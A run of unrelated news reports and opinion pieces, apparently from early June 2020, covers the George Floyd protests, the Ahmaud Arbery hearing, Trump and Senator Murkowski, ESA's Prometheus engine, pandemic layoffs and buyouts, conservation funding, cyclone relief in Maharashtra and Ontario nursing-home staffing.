Despite the attempts of some revisionist historians to play down slavery as the root cause of the Civil War, what Southern states feared most about Lincoln's election was that he would push for an end to the institution. Just three days after his victory, the South Carolina legislature convened to vote on a measure titled "Resolution to Call the Election of Abraham Lincoln as U.S. President a Hostile Act."

Meltzer and Mensch remind readers that in much of the South, Lincoln was so unpopular that ballots were not distributed for him. As a result, in the election of 1860 not a single vote was cast for Lincoln in Alabama, Arkansas, Georgia, Mississippi, South Carolina, Louisiana, North Carolina, Florida, Tennessee and Texas. On Dec. 20, six weeks after Lincoln's victory, South Carolina would secede from the United States, citing in part "an increasing hostility on the part of the non-slaveholding states to the Institution of Slavery."

That is the cauldron in which Lincoln's election took place. Following his victory, letters arrived every day threatening him with hanging, flogging, burning, decapitation. "Old Abe Lincoln: God damn your god damned old Hellfired god damned soul," one pre-Twitter rant began - and went downhill from there.

The hate-filled enemies of Lincoln would exact their revenge when another Baltimorean, John Wilkes Booth, shot him on April 14, 1865; he died early the next day. But by then Lincoln had succeeded in bringing an end to slavery and saving the nation. It can still bring a shudder to think what might have resulted if the first assassination plot had taken him before his work began.
NEW YORKTheatres in New York, shuttered for months because of the pandemic, are starting to open their doors again  not for ticket holders but for demonstrators against police brutality who need water or a bathroom break.

Following the death of George Floyd in police custody, mostly peaceful protests have filled the citys streets for nearly a week, and arts institutions have searched for ways to show solidarity with the protesters.

For most, that meant posting black boxes on social media or releasing carefully worded statements. But by Wednesday, several theatres in Manhattan and Brooklyn had announced that they would allow demonstrators into their buildings to use the restroom, drink water or charge their phones.

The first institution to gain some attention online for the idea was New York Theater Workshop, an off-Broadway theatre company. On the exterior brick wall of one of their East Village theatres, in between posters advertising the company, it began advertising earlier this week that the bathrooms were open and that it was offering supplies for protesters.

On Wednesday, the Public Theater in the East Village  with an expansive lobby built to hold audiences streaming into various shows or lining up for refreshments  announced that it would open its building to protesters at 2 p.m. and would close the doors at 6 p.m., well before the citys weeklong curfew at 8 p.m.

The Public Theater, which had to cancel the free Shakespeare festival it runs in Central Park each summer because of the pandemic, offered water, restroom access and hand sanitizer; staff members were asked to make sure that everyone was practicing social distancing, said Shareeza Bhola, a spokeswoman.

A new Twitter account, called Open Your Lobby, has encouraged theatres to welcome protesters. A post from the account recommended that the theatres not permit police inside of the building for the safety of your protesters, adding that non-Black staffers should block officers from entering.

In a statement, the Twitter account identified itself as a loose coalition of young theatre artists, administrators, and organizers, but said that the people involved wished to remain anonymous.

We started the account because we were in the streets, we realized there was a need for this, and we wanted to call upon theatres that released statements expressing their values to actually live up to them, the statement said.

As the idea spread on social media, the off-Broadway Atlantic Theater Company said it would open its main theatre in Chelsea to protesters starting Thursday (they promised snacks).

Playwrights Horizons in Times Square said it would open its foyer starting Friday, offering air conditioning, Wi-Fi, PPE and a place for rest and reflection. And the IRT Theater in the West Village said Wednesday that it would let protesters into its lobby two at a time  with masks on.

In Brooklyn, the Alliance of Resident Theaters/New York also announced it was opening its building Wednesday near the Barclays Center, where much of that boroughs protesting has been concentrated. In a tweet, the organization called the space a comfort centre and said that staff would be there to distribute resources.

Another theatre just down the street  the Irondale Center  also offered shelter and supplies.
A gas generator produced by additive layer manufacturing completed two test campaigns in 2017 and 2018 at the P8 test bench at the DLR German Aerospace Centers Lampoldshausen testing facility which provided valuable information on the proposed innovative design. Credit: ArianeGroup

ESA's Prometheus is the precursor of ultra-low-cost rocket propulsion that is flexible enough to fit a fleet of new launch vehicles for any mission and will be potentially reusable.

At the Space19+ Council meeting in Seville, Spain last November, ESA received full funding to bring the current Prometheus engine design to a technical maturity suitable for industry. Developed by ArianeGroup, Prometheus is now seen as key in the effort to prepare competitive future European access to space.

By applying a design-to-cost approach to manufacturing Prometheus, ESA aims to lower the cost of production by a factor of ten of the current main stage Ariane 5 Vulcain 2 engine.

Features such as variable thrust, multiple ignitions, suitability for main and upper stage application, and minimized ground operations before and after flight also make Prometheus a highly flexible engine.

This Prometheus precursor runs on liquid oxygenmethane which brings high efficiency, allows standardization and operational simplicity. Methane propellant is also widely available and easy to handle.

In the short term it is likely that operational engines will benefit from the application of Prometheus technologies.

Upcoming tests overseen by ArianeGroup at the DLR German Aerospace Center's Lampoldshausen testing facility in Germany will validate the hardware components for the first Prometheus engine test model (M1).

In preparation, the P5 test bench will gain a 250 cubic meter capacity propellant tank for methane. This will allow engineers to efficiently switch test configurations between Prometheus and Ariane 6's Vulcain 2.1 main stage engine, also in development.

Example Prometheus flight configuration. Credit: ESAArianeGroup

Main subsystems are being manufactured. The first elements built last year benefited from new methods such as additive layer manufacturing (ALM) which speeds up production, achieves fewer parts and greatly reduces costs.

ALM builds a structure layer by layer, which is much quicker and easier than the traditional process of cutting away bulk material. Complex, optimized parts, impossible to manufacture via classical methods, can be created using less material and energy, and in far fewer manufacturing steps.

Components manufactured and now ready to test include the turbo pump's turbine, pump inlet and gas generator valves. March will see the delivery of the chamber valves and on-board rocket engine computer for engine management and monitoringthe part that makes this a 'smart' engine and potentially reusable.

The first combustion chamber model is expected at the end of June while the combustion chamber for M1 will be delivered in December 2020.

Engineers will assemble the M1 full-scale demonstrator at the end of this year for testing on the ground in 2021.

Further Prometheus engines will be built for testing into the future.

Also within ESA's Future Launchers Preparatory Programme, Arianeworks is currently preparing an in-flight reusable vehicle demonstration called Themis, which will incorporate the Prometheus precursor engine.

Prometheus represents a breakthrough in terms of cost and manufacturing and its robust design is the baseline for future evolutions of Ariane to 2030.

Explore further 3-D-printed thrust chamber passes first tests for vega evolutions
My doctor is old school. He doesnt text. He may or may not read his email. He wont give you a prescription over the phone. Like I said, hes old school. He believes he has to exam you, and no matter what you go in for, he always gives you the same exam. He starts at the top of your head and goes to the bottom of your feet.

Every time. He never changes his practice. Sometimes, I feel like I have to remind him that Ive turned my ankle and he really doesnt have to listen to my lungs, look in my eyes and ears, and thump on my chest. But he never listens. He just keeps on working through his exam.

When you ask him why he works like this, he says its because he doesnt want to just treat symptoms. He wants to be sure hes treating the cause of my symptoms. If I have a cough, he wants to know whats causing the cough. Is it in my throat or my lungs? Those are two different problems that produce the same symptom, and the symptom cant be cured until the source of the illness is diagnosed and treated.

I thought about my doctor while I was watching the recent unrest in our country prompted by the death of George Floyd in Minneapolis  actually, Mr. Floyd was one of several deaths of African Americans that enraged the country and pushed many into the streets to protest. Ahmaud Arbery was shot by two men who thought he had robbed a nearby construction site. Breonna Taylor was killed when police officers burst into her house unannounced to serve a warrant and shot her in the process.

For the last several days, weve heard politicians talk about how they are against racism. Weve heard other politicians point to the looting and cry out for the National Guard to restore law and order. Everyone, it seems, has a plan, a suggestion, a new law or policythis time, were told, its going to be different.

It wont be. Why? Because were treating symptoms and not the illness thats causing the symptoms.

Do you remember the story of the four friends who let their crippled friend down through the roof in front of Jesus? Do you remember how disappointed everyone was when Jesus forgave the mans sin? The religious leaders huffed that Jesus wasnt God so how could he forgive sins? The friends were disappointed because they wanted their friend to walk. Jesus, however, focused on the cause. The man was a sinner who needed to be forgiven. To show the people around Him that He did indeed have the power to forgive sins, Jesus healed the man and told him to pick up his bed and walk.

We want our schools opened back up. We want the broken glass swept up and the fires put out. We want businesses to re-open so we can go shopping again. We know some bad things have happened, and were sad, we really arebut we really want to get back to our lives as we knew them.

What we dont want to do is sit with our African American brothers and sisters and weep for all thats been lost. We need to grieve the three lives that were lost for no reason. We need to hear the stories of those lives that have been wounded and lost because our country cant deal with our racial differences.

What we dont want to do is sit with our African American brothers and sisters and weep for all thats been lost. We need to grieve the three lives that were lost for no reason. We need to hear the stories of those lives that have been wounded and lost because our country cant deal with our racial differences.

We dont want to think about how systematized our racism has become. We dont want to think about how complicit we are in this evil. Like the man in front of Jesus, we just want to get up and walk home. We dont want to deal with our sin.

But Jesus wont heal the symptom. He deals with the problem. For our country to begin to heal, for our churches to begin to heal, we must face the reality that we are part of the problem.

Every one of us.

I grew up in Alabama during the sixties and seventies. Racism was in the air I breathed. I remember when the first black athlete was put on scholarship by Bear Bryant. I remember when blacks were asked to leave certain white churches and told to go to their own church.

This wasnt that long ago.

So, whats going to be different this time?

Thats still unanswered, but heres what Im seeing.

Theres a solemn recognition of guilt  especially the guilt of silence  in the white churches. Theres a confession of sin and complicity I havent seen before.

Lastly, there is a determination to act. There is a growing awareness that the church has failed to bear witness to the truth, failed to demand justice and hold those in power accountable for their actions.

We are enduring the consequences of a previous generations failure to redemptively address racial inequality. We are determined not to pass this burden on to the next generation.

God help us if we fail those who follow us.
Source: Xinhua| 2020-06-06 00:25:34|Editor: huaxia

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MONTREAL, Canada, June 5 (Xinhua) -- Canadian transportation giant Bombardier Inc. announced on Friday that it will lay off 2,500 people throughout the year as the company struggles to keep its operations afloat during the COVID-19 pandemic.

The Montreal-based company said 1,500 of the layoffs will be in its Quebec facilities and 400 in Ontario, with the rest of the layoffs in its international facilities.

"These are permanent layoffs," the company said in a statement.

Bombardier employs 22,000 people worldwide, making Learjets, Challenger and Global business jets, which seat fewer than 20 people.

The company halted all its operations in March due to the spread of the COVID-19 pandemic and gradually resumed operations last month, but reported a loss of 200 million U.S. dollars in its first quarter.

In February, Bombardier exited the commercial plane business, selling its remaining stake in the A220 program to Airbus, in an effort to pay off a multibillion-dollar debt.

That same month, the company sold its rail-building unit to French train giant Alstom SA, marking its exit from the rail business. Enditem
The Taoiseach on Friday advised citizens not to book foreign holidays and said the government had no date in mind yet to end its 14-day quarantine for people arriving from abroad.

"I'd encourage people not to go booking flights or anything like that just yet. That would be premature," Leo Varadkar said, adding that the government was studying the impact of the resumption of flights in other countries.

The government is due to consider whether to extend its 14-day quarantine for incoming travellers, which the Irish airline Ryanair has said is blocking a restart of Irish tourism, on June 18. (Reuters)

Source: www.businessworld.ie
Were in the midst of the worst job market since the Great Depression  so who would want to lose their job now?

Believe it or not, according to a report by CNN Business, thousands of people would.

The report said that despite unemployment being at the highest level of their lifetimes, more than 10,000 people have already accepted buyout offers to leave their companies. And, the report said, with more employers putting similar offers on the table, or expanding offers already made, this is likely only the beginning of what could become a buyout summer for the U.S. economy.

Were seeing a lot more [buyout] activity right now because there is so much uncertainty, said Andrew Challenger, vice president of outplacement firm Challenger, Gray and Christmas. Voluntary programs can be a good first step if youre looking at reducing headcounts. It maybe saves positions of some people who would like to have a future with the company, and offers choices for those considering making a life change. It can be a valuable program for both employers and employees, he told CNN.

Challenger and other experts say that another positive aspect of voluntary buyouts is that it may help with employee morale during a difficult time.

Companies dont like letting people go, he said. And if people are willing to leave voluntarily on good terms, the company might be able to more easily bring them back on if business conditions improve, CNN quotes.

Another advantage of voluntary buyouts is that they may encourage more senior, generally more highly paid, employees to leave and subsequently reduce average labor costs. The report said that buyout offers are often based on formulas that factor in time spent at the company. In addition, the threat of lawsuits from involuntary dismissals might be reduced, due to the voluntary nature of the program, the report said.

Which companies have announced buyout plans?

According to CNN, in an effort to cut costs as they deal with the rapid decrease in air travel, all the major airlines have announced buyout plans. American Airlines is the only one so far to announce results. The report said that 4,500 pilots and flight attendants had taken an offer as of a month ago, and more buyouts and early retirements are coming at American.

Voluntary departures and early retirements, that could reduce or even eliminate the need for involuntary job cuts, will be happening at other carriers as well. According to the report, Southwest, which since its 1967 founding has never had an involuntary layoff or furlough, described its offer as among most generous packages ever offered in Southwests history.

Voluntary layoff offers were recently accepted by 5,520 people at Boeing. The aircraft maker has since notified nearly 7,000 other employees of involuntary layoffs, and is looking at additional layoffs later in the year to get to a targeted 16,000 job cuts, CNN reported.

In addition to the battered aviation industry, according to Challenger, tech company Kickstarter and hospital system Lee Health, based in Florida, have also announced buyout programs. CNN reports that neither company responded to its request for comment.

According to CNN, financial firm TIAA confirmed it is offering lucrative packages that could pay employees up to 91 weeks of base pay, match last years cash bonus, and pay up to 18 months of employer-subsidized medical coverage."

Although the package was offered to two-thirds of the firms 16,500 employees worldwide, or about 11,000 offers, the company expects only 5% to 7% of those who get the offer will accept it -- or fewer than 800 employees, the report said. Even that modest take rate is far greater than normal for a buyout offer.

What is the normal take rate for buyout offers?

Alex Alonso, chief knowledge officer of the Society for Human Resource Management, told CNN, Early retirement offers or buyouts typically see a take rate of 2% to 3%. He added that other businesses may have an even lower take rate. People just arent ready to take these offers, the report quoted.

What must one consider before accepting a buyout?

The report explains that the voluntary nature of some buyout programs are not all that voluntary. Some employees are concerned that if they turn down a buyout, they could end up being laid off, with only a fraction - if any - of the benefits offered in the package.

So, many of those who get buyout offers are weighing the chance of a layoff in their calculation, said Alonso. They are thinking specifically, If I take the offer now, will I be better off or will I be worse off?

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P ictures of dramatically cleaner air and wild animals roaming city streets have been part of the environmental story of the pandemic  but only a small part. The consequences for global conservation are less visible, but extremely serious and likely to be longer lasting.

Increased illegal poaching, fishing and deforestation have been reported by conservation groups around the world, including partner organisations of Fauna & Flora International (FFI). In places where lockdowns have reduced activities such as illegal trading of wildlife, we are under no illusions  this is just a pause. We have heard traders are still buying the scales of pangolins  the most trafficked animal in the world  and stockpiling them in anticipation of a revival in the market.

Alongside direct impacts on wildlife, previously reliable sources of income that help communities protect endangered species and habitats, such as tourism, have gone. It is not an exaggeration to say conservation is in crisis.

Thats why FFI has launched the worlds first fund to ensure conservation groups survive. The FFI Partner Crisis Support Fund has already provided more than $1 million to groups in countries including Kenya, Mozambique, Vietnam and Romania, to protect species such as rhinos, wild dogs, wolves and pangolins, and assist communities who are central to conservation. We aim to raise more in the months ahead.

But this is not enough. We need a shift in the way we interact with and use nature. Action to protect the natural world is action to protect ourselves, as this pandemic has shown  scientists say the destruction of nature is making the emergence of new and dangerous viruses more likely.

Traders are still buying the scales of pangolins and stockpiling them for when there is a market revival

International meetings on climate change and protection of biodiversity have been postponed at a critical time. One million species are threatened with extinction over the next 30 years, according to the UN, and climate change efforts are at a critical point. Tackling carbon emissions, stopping deforestation and halting the wildlife trade are some of the priorities. While governments must lead, individuals can pressure politicians and support organisations such as ours.

The recovery from this crisis provides a once-in-a-lifetime opportunity to rebalance our relationship with the natural world and put humanity on the path to a healthier, more prosperous future. We must seize it.

Mark Rose is chief executive of Fauna & Flora International
America was already facing an ongoing coronavirus pandemic, mass unemployment, and a fiercely contested presidential election, while its people were anxious about the state of the nation and the future. Now, the police killing of a black man in Minneapolis, Minnesota has sparked national outrage, and unrest has broken out across the country.



George Floyd was apprehended from his car on May 25 after the clerk at a corner store detected what they thought to be a counterfeit $20 bill. After Floyd was cuffed and apparently fell to the ground, the officers got on top of him, with Officer Derek Chauvin placing his knee directly across his neck for over eight minutes. While he was gasping for air, saying, "I can't breathe," Chauvin ignored cries from both Floyd and onlookers.

Videos of police killing suspects have gone viral before, but nothing quite so coldhearted as this has been caught on tape in such a dramatic and prolonged fashion. Four days later, Chauvin was arrested and charged with third-degree murder, while the three other officers involved were fired and placed under investigation.

Violent protests have previously erupted in Ferguson, Missouri in 2014 and Baltimore, Maryland in 2015. This time, however, unrest has spread to most major U.S. cities. Targets include not just the Minneapolis police department and big-box stores, but also immigrant- and minority-owned small businesses.

Forty cities now have curfews, and National Guard have been activated in 15 states. The president has been under lockdown in the White House, while the police have fired tear gas indiscriminately, and even shot and killed one protester in Louisville.

Now, despite widespread agreement that the officers' wickedness towards George Floyd was unacceptable, there is little consensus about how to solve the problem of police brutality. There is not even agreement that looting and arson are wrong, or even about the extent to which police brutality exists.

Rush Limbaugh, a white conservative radio host, joined Charlamagne tha God, a black progressive host, on the latter's radio show, where Limbaugh agreed that Chauvin was a murderer. "What happened to George Floyd sickened me," he said.

But the two disagreed on how deep the problem goes. Limbaugh insisted that such police brutality is not representative of America, "the greatest nation in the history of the world," to which Charlamagne replied, "The greatest nation for who?  I think it's easy for you to say because you're a white male and that comes with a different level of privilege."

Both of their arguments appeal to broad swaths of America  a diverse country, ethnically, politically, and in terms of attitudes and values. In recent decades, minority groups have become more vocal about expressing their opinions and fighting for their rights, in ways in which they would not have been able to in the past.

The problem America faces in dealing with these issues is how to maintain order and common identity as a nation while also addressing serious issues of racism against black and minority Americans that have been left to fester for too long.



For example, while moderates and even conservatives like Rush Limbaugh are happy to see the officer reprimanded in this particular case, past, and likely future cases have not been and will not be treated as if they are so clear cut.

Those who argue that American cops are fundamentally racist look to studies showing the high rate of black men killed by police. Decades of racial stereotypes have conditioned police to view black men as inherently aggressive and dangerous. The argument goes that officers  who are frequently white  do not live in the communities they police and lack empathy for the black men they confront on a day-to-day basis.

Those who contend that street murders carried out by racists like Chauvin are exceptions often point to the many peaceful interactions between police and citizens on dangerous streets, especially when suspects comply with the demands of officers. However, the U.S. has one of the highest murder rates in the developed world  for example, the rate in the neighborhood where Freddie Gray lived in Baltimore, is more than ten times the national average.

How do police protect the lives of citizens most at risk from murder while maintaining their duty to treat everyone fairly? In fact, increased police presence can put innocent people at risk, too, of being falsely accused or abused in the course of an investigation.

If it is true that most humans are biased to some degree or another, how can a police force  staffed and managed by humans  be built in such a way as to minimize bias?

I do not have answers to these questions, and I suspect few people do. In fact, there may be no answers. What I do know is that Americans will wake up tomorrow with over 105,000 dead of coronavirus to see the smoldering ashes of buildings burnt out across the country, and more families will join George Floyd's in grieving.

Mitchell Blatt is a columnist with China.org.cn. For more information please visit:

http://www.china.org.cn/opinion/MitchellBlatt.htm

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.

If you would like to contribute, please contact us at opinion@china.org.cn.
Seven IITs (Delhi, Guwahati, Bombay, Kanpur, Kharagpur, Roorkee and Madras) along with the Indian Institute of Science Bangalore (IISc) have started the initiative of National Programming on Technology Enhanced Learning (NPTEL), to create free online courses in engineering, humanities and science.

IIT Madras announced that it has started enrollment for over 400 courses offered under this programme. These courses will run from July-December 2020, and anyone, even professionals, can register. Students attending these courses will earn 20 credits for the subject they choose.

Representational Image/BCCL

The lessons will be like a YouTube-live video session, with the help of weekly/monthly assignments or through study material that is available online.

Online registrations have already begun and one can register on their website. The last day of registration is July 27, 2020. The courses are supposed to end on September 1, 2020, and the examinations for the same to begin on September 27, 2020.

NPTEL

Students who plan to take the exam after completing the free online course will have to pay a fee of Rs 1,000.

The credit for the course will be transferred to the student once they clear the certification examination.

Representational Image/BCCL

At a time when most of us are home, taking up an online course that might enhance our skills for free seems something of a bargain.

For more details you can visit the NPTEL website.




Instagram / @themovementink

Movement Ink, a small family-owned printing company in Oakland, said that U.S. postal inspectors seized thousands of face masks they produced that were intended for protesters. The cloth masks, emblazoned with the words "Stop killing black people" and the logo for the Movement for Black Lives (M4BL), were being shipped to Washington D.C., St. Louis, New York City and Minneapolis.

In an Instagram post, Movement Ink said that they "are angry, concerned and feel threatened by the situation. Our family and a few community members have sacrificed sleep to support the Movement for Black Lives and we are committed to do so moving forward.
WASHINGTON - President Donald Trump strongly hinted Thursday at a pardon of friend and longtime political adviser Roger Stone, who has been ordered to report to prison later this month. Trump said Stone was the "victim of a corrupt and illegal Witch Hunt" and should "sleep well at night."

Trump's comments on Twitter came in response to a tweet by conservative activist Charlie Kirk, who complained that Stone would be serving more time in prison than "99% of these rioters destroying America," a reference to violent protests in the wake of the death in police custody of Minneapolis man George Floyd.

"This isn't justice," Kirk said in his tweet, asking his Twitter followers to retweet him "for a full pardon of Roger Stone!"

In his words, Trump wrote: "No. Roger was a victim of a corrupt and illegal Witch Hunt, one which will go down as the greatest political crime in history. He can sleep well at night!"

A jury convicted Stone in November of lying during testimony to the House Intelligence Committee in September 2017 to conceal his central role in the Trump campaign's efforts to learn about Democratic computer files hacked by Russia and made public by WikiLeaks to damage Trump's opponent, Hillary Clinton.

Stone, the last defendant charged in special counsel Robert S. Mueller III's investigation of Russian interference in the 2016 election, was sentenced to three years and four months in prison, suspended pending his motion for a new trial.

A federal judge denied that motion in April.

Last week, the Federal Bureau of Prisons said Stone must report to federal prison by June 30.

Trump has hinted at a possible pardon of Stone before in his tweets, but Thursday's was the first since that announcement.

In a separate tweet on Wednesday, Trump wrote that Mueller "should have never been appointed" to investigate Russian interference in the election and possible coordination with the Trump campaign.

- - -

The Washington Post's Spencer S. Hsu and Matt Zapotosky contributed to this report.
US President Donald Trump on Thursday thanked Iran for releasing the American hostage Michael White, saying that, 'it shows a deal is possible'. "I just got off the phone with former American hostage Michael White, who is now in Zurich after being released from Iran. He will be on a US plane shortly, and is coming home..." Trump tweeted. "...to the United States! We have now brought more than 40 American hostages and detainees back home since I took office.

Thank you to Iran, it shows a deal is possible!" he added. On the issue of the prisoner swap, ...
WASHINGTON  Amid widespread protests and outrage over President Donald Trump's response, one Republican senator said she is struggling over whether she can support the president in November.

Sen. Lisa Murkowski, R-Alaska, in an extraordinary back-and-forth with reporters at the U.S. Capitol Thursday, backed the public condemnation of the president offered by his former Secretary of Defense, James Mattis, who said Trump was a threat to American democracy and aimed only to divide the country.

Murkowski called Mattis' comments "true, and honest, and necessary and overdue," adding that his words led her to believe that "perhaps we are getting to a point where we can be more honest with the concerns that we might hold internally and have the courage of our own convictions to speak up."

Asked whether she could continue to support the president, Murkowski said "I am struggling with it. I have struggled with it for a long time."

She added that she didn't support Trump in the 2016 election and was struggling with that same decision ahead of November, but said she would continue to work with him and represent her state.

"But," she added, "I think right now we are all struggling to find ways to express the words that need to be expressed."

In a set of tweets, the president appeared to respond to the Alaska Republican vowing to campaign against her and instead back any other candidate running, no matter the person. Murkowski is up for reelection in 2022.

"Few people know where theyll be in two years from now, but I do, in the Great State of Alaska (which I love) campaigning against Senator Lisa Murkowski," Trump wrote Thursday evening. "Get any candidate ready, good or bad, I dont care, Im endorsing. If you have a pulse, Im with you!"

Few people know where theyll be in two years from now, but I do, in the Great State of Alaska (which I love) campaigning against Senator Lisa Murkowski. She voted against HealthCare, Justice Kavanaugh, and much else...  Donald J. Trump (@realDonaldTrump) June 4, 2020

In the tweets, Trump noted Murkowski's record on high-profile GOP-led proposals, including voting no during a skinny repeal of the Affordable Care Act in 2017 and the confirmation of Supreme Court Justice Brett Kavanaugh in 2018.

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Murkowski, who was first elected in 2002, has proven to be a popular figure in Alaska. After losing a primary battle in 2010 against a Tea Party candidate, she was reelected to her seat in a write-in campaign where voters had to physically write "Murkowski" on ballots.

Murkowski, like other swing-state senators, has been critical of the president at times but her remarks Thursday marked change in tone from her typical weariness of weighing in on the day-to-day controversies related to the president.

She was one of a number of senators who were thought to be potential swing votes during the president's impeachment trial earlier this year. But she ended up voting against hearing from additional witnesses in the trial and ultimately voted to acquit the president on both counts of obstruction of Congress and abuse of power.

Only one Republican, Sen. Mitt Romney, R-Utah, voted to convict Trump on any of the charges, leading to Trump being acquitted.

What Mattis said: Trump's former defense secretary Mattis blasts president as a threat to American democracy

'His tweets have not been helpful': GOP senators criticize Trump's Floyd protest rhetoric

Sen. Lisa Murkowski, R-Alaska, speaks with reporters during the impeachment trial of President Donald Trump on Wednesday.

Mattis' statement Thursday evening marked the first time the general spoke out about Trump since leaving the administration in 2018. His comments led to a number of military leaders also speaking out on Trump's response to the protests over George Floyd, an unarmed black man who died after a white Minneapolis police officer pinned him to the ground with his knee for several minutes. Trump has threatened multiple times to send military troops to American cities to counter the protests, which in some cities have turned violent.

"Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead he tries to divide us," Mattis wrote in a statement published by The Atlantic magazine.

"We are witnessing the consequences of three years of this deliberate effort," he continued. "We can unite without him, drawing on the strengths inherent in our civil society. This will not be easy, as the past few days have shown, but we owe it to our fellow citizens; to past generations that bled to defend our promise; and to our children."

'Word of God as a political prop': GOP senators criticize Trump after George Floyd protesters forced out of park

More: Murkowski says shes a no vote on calling witnesses, virtually assuring Bolton, Mulvaney won't appear at Trump impeachment trial

Republicans have been wrestling with Trump's response for days, with some pleading for him to tone down his rhetoric and others taking issue with the clearing out of protesters near the White House before the president walked across the street to a church for a photo op.

Asked about Mattis' comments, fellow Senate Republicans mostly shrugged off the remarks, saying while they respect Mattis and his point of view, they did not agree with his assessment that Trump aimed to divide Americans. Others said they had not read Mattis' statement and declined to comment.

"I think its kind of obvious for some time that he and the president are at different wavelengths and that happens when youre facing a challenge like we face today and different points of view," said Sen. Pat Roberts, R-Kan He added that while he respects Mattis, "I dont share that view [that Trump is dividing Americans]. I think hes doing the best he can under very difficult circumstances."

Sen. Mitt Romney, R-Utah, and a frequent critic of Trump, called Mattis' letter "stunning and powerful."

"General Mattis is a man of extraordinary sacrifice. He's an American patriot. He's an individual whose judgment I respect, and I think the world of him," he said at the Capitol. "If I ever had to choose somebody to be in a foxhole with  it would be with a General Mattis. What a wonderful, wonderful man."

Sen. Rob Portman, R-Ohio, said Mattis is a "decorated war hero" with an "amazing reputation and career, so I'm going to take what he says seriously."

He said while the president has "said the right things" denouncing what happened in Minneapolis with Floyd's death and the violence that erupted s in a number of American cities, "the question is tone and words."

He added: "I think some of the tones and some of the words used [by Trump] should be focused more on healing and less on dividing."

This article originally appeared on USA TODAY: Trump vows to campaign against Lisa Murkowski after she was 'struggling' to support him
Brunswick, Georgia: A state investigator has testified that a white man was heard saying a racist slur as he stood over Ahmaud Arbery's body, moments after fatally shooting the black jogger with a pump-action shotgun.

The inflammatory revelation came amid a week of angry worldwide protests over law enforcement biases against black victims that erupted after the death of George Floyd in Minneapolis.

In a hearing to determine whether there was enough evidence to proceed with a murder trial, the lead Georgia Bureau of Investigation agent in the case testified that Travis and Greg McMichael and a third man in another ute, William "Roddie" Bryan, used their trucks to chase down and box in Arbery, who repeatedly reversed directions and ran into a ditch while trying to escape.

Gregory McMichael, left, and his son Travis McMichael, have been charged with murdering Ahmaud Arbery. Credit:Glynn County Detention Centre

Travis McMichael then got out of his truck and confronted Arbery, later telling police he shot him in self-defence after Arbery refused his order to get on the ground, GBI agent Richard Dial said. He said a close examination of the video of the shooting showed the first shot was to Arbery's chest, the second was to his hand, and the third hit his chest again before he collapsed on the road in a subdivision in the port town of Brunswick.
Grant Thornton national managing partner Michael McAteer. His accountancy career began with evening classes organised by Accounting Technicians Ireland

Wicklow is one of the counties where new jobs will be created under a new apprenticeship programme.

The Accounting Technician Apprenticeship is a funded workplace programme where applicants can earn and learn at the same time through a two-year training programme.

The scheme is open to Leaving Cert students, school leavers and graduates and is expected to create up to 150 jobs.

Accounting technician apprentices work four days a week with a registered employer and study one day a week with a partner college on a two-year employment contract, which begins in September.

Apprentices earn at least 19,700 per year and receive paid study leave, supported by the employer. Apprentices' college tuition is fully funded through SOLAS and they also receive guidance from a mentor.

The programme leads to an Advanced Certificate in Accounting. Graduates can then continue with their studies with professional accountancy bodies such as Chartered Accountants Ireland.
Maharashtra chief minister Uddhav Thackeray on Friday visited areas at Alibag in Raigad district, which were affected by cyclone Nisarga a couple of days ago, and announced Rs 100 crore for immediate relief and rehabilitation measures.

The announcement was made after the review meeting with district authorities.

Earlier upon reaching Alibag around noon on Friday, he had interacted with the villagers in some of the cyclone-hit villages near Alibag.

The CM said the Rs 100-crore fund would be released to enable the district administration to extend immediate relief to the basic needs of the cyclone-hit people. Thackeray has instructed district authorities to arrange food and shelter for the villagers, whose houses have been damaged by the cyclone.

This is not a package, but an immediate relief for the cyclone-hit people. The package will be announced after the report is submitted assessing the damages incurred due to cyclone Nisarga. Besides Raigad, which is the worst-hit by the cyclone, people living in other coastal districts will also be assisted with the package, the CM said after the review meeting.

Thackeray said the district authorities are working on a war footing to restore the power and tele-connectivity that have been disrupted due to the cyclone. He assured that additional manpower from other districts would be deployed in Raigad to ensure speedy restoration of the infrastructure.

The CM said the decision whether to approach the Centre for relief measures would be taken after the assessment of the damage caused by the cyclone is completed.

Union Minister for Home Affairs Amit Shahji spoke to me over video-conference ahead of the cyclone. Prime Minister Narendra Modiji, too, has spoken to me twice about this. Both of them have assured us all support for the damages suffered due to the natural calamity, he added.

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Ontarios for-profit nursing homes employ, on average, 17 per cent fewer full-time and part-time workers compared to non-profit and municipal homes, according to a Star analysis of union staffing data.

The Star found that for every 100 beds in for-profit long-term-care homes there were 99 unionized workers, compared to 115 for every 100 beds in non-profit homes and 124 for every 100 beds in municipal homes. The Stars analysis is based on pre-pandemic staffing levels.

Its not surprising at all, said Candace Rennick, a spokesperson for the Canadian Union of Public Employees (CUPE), which represents workers in 182 long-term-care homes in the province. When youre running a business to make profit you have to cut corners somewhere, and staffing is the biggest cost.

Rennick said lower staffing levels in for-profit homes put a heavier burden on workers.

But the biggest consequences are for the people who are receiving care, she said.

Previous reporting by the Star has found significantly higher rates of COVID-19 infection and death in for-profit nursing homes compared to non-profit and municipal homes, and also that municipal homes pay higher wages and benefits to workers, leading to better staff retention.

Insufficient staffing has been highlighted as one of many factors that have contributed to unchecked outbreaks in long-term-care facilities, where four out of every five COVID-19 deaths in Canada have occurred.

A spokesperson for Merrilee Fullerton, Ontarios Minister of Long-Term Care, said that based on staffing information reported to the ministry by the homes, there is no significant difference in staffing levels between for-profit, non-profit and municipal homes. But the data the Ministers office provided to support this only looked at the share of workers compared to the share of homes and did not take into account the number of licensed beds in each home, as the Stars analysis does.

The Ontario Long-Term Care Association (OLTCA), which represents more than two-thirds of the long-term-care homes in the province, neither disputed the Stars findings nor addressed the disparity in staffing levels between ownership types.

In a written statement, CEO Donna Duncan said there is a human resources emergency across long-term care that predated COVID-19.

The staffing shortage  for all roles, but especially personal support workers  has affected all types of homes, she said, regardless of ownership.

Seniors entering long-term care are more frail and medically complex than even five years ago. However, provincial funding and regulations have not kept pace with the higher care needs of this population, leaving homes underfunded and facing staffing challenges.

Duncan said long-term-care homes of all ownership types have been affected by COVID-19 outbreaks and factors unrelated to home ownership  such as the age of the home and the number of beds per room  have played a bigger role.

There are 626 long-term-care homes in Ontario, all of which are funded by the same provincial government formula. Nearly 60 per cent are private and for-profit, with the remainder run by charities, non-profit organizations and municipalities.

The Star collected staffing data from eight different unions representing workers in 471 long-term-care homes across the province. The data includes workers that provide direct care to residents, such as personal support workers (PSWs) and registered practical nurses, as well as those that provide indirect care, such as cleaning, laundry and food services.

